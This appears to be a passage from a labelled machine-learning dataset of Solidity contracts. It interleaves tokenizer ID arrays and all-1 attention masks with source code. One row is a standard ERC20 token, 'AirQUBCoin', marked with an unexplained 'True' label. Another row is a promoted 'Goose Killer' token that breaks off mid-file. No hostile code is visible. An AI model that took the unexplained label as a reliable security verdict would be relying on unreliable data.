1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract AirQUBCoin is ERC20 {
constructor() public ERC20("AIRQUB", "AIRQUB") {
_mint(msg.sender, 10000000 * 10**18);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
28177,
2078,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
2003,
4986,
1007,
1012,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
5024,
3012,
1005,
1055,
20204,
3136,
2007,
2794,
2058,
12314,
1008,
14148,
1012,
1008,
1008,
20204,
3136,
1999,
5024,
3012,
10236,
2006,
2058,
12314,
1012,
2023,
2064,
4089,
2765,
1008,
1999,
12883,
1010,
2138,
28547,
2788,
7868,
2008,
2019,
2058,
12314,
13275,
2019,
1008,
7561,
1010,
2029,
2003,
1996,
3115,
5248,
1999,
2152,
2504,
4730,
4155,
1012,
1008,
1036,
3647,
18900,
2232,
1036,
9239,
2015,
2023,
26406,
2011,
7065,
8743,
2075,
1996,
12598,
2043,
2019,
1008,
3169,
2058,
12314,
2015,
1012,
1008,
1008,
2478,
2023,
3075,
2612,
1997,
1996,
4895,
5403,
18141,
3136,
11027,
2015,
2019,
2972,
1008,
2465,
1997,
12883,
1010,
2061,
2009,
1005,
1055,
6749,
2000,
2224,
2009,
2467,
1012,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1009,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
2804,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
/*
Important Links: 🖇
🔶 Join our Telegram:
https://t.me/thegoosekiller
💻 Check our website:
https://thegoosekiller.site/
🐥 Show us love
https://twitter.com/goosekillererc?s=21
📝 Read our whitepaper
https://thegoosekiller.site/whitepaper
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
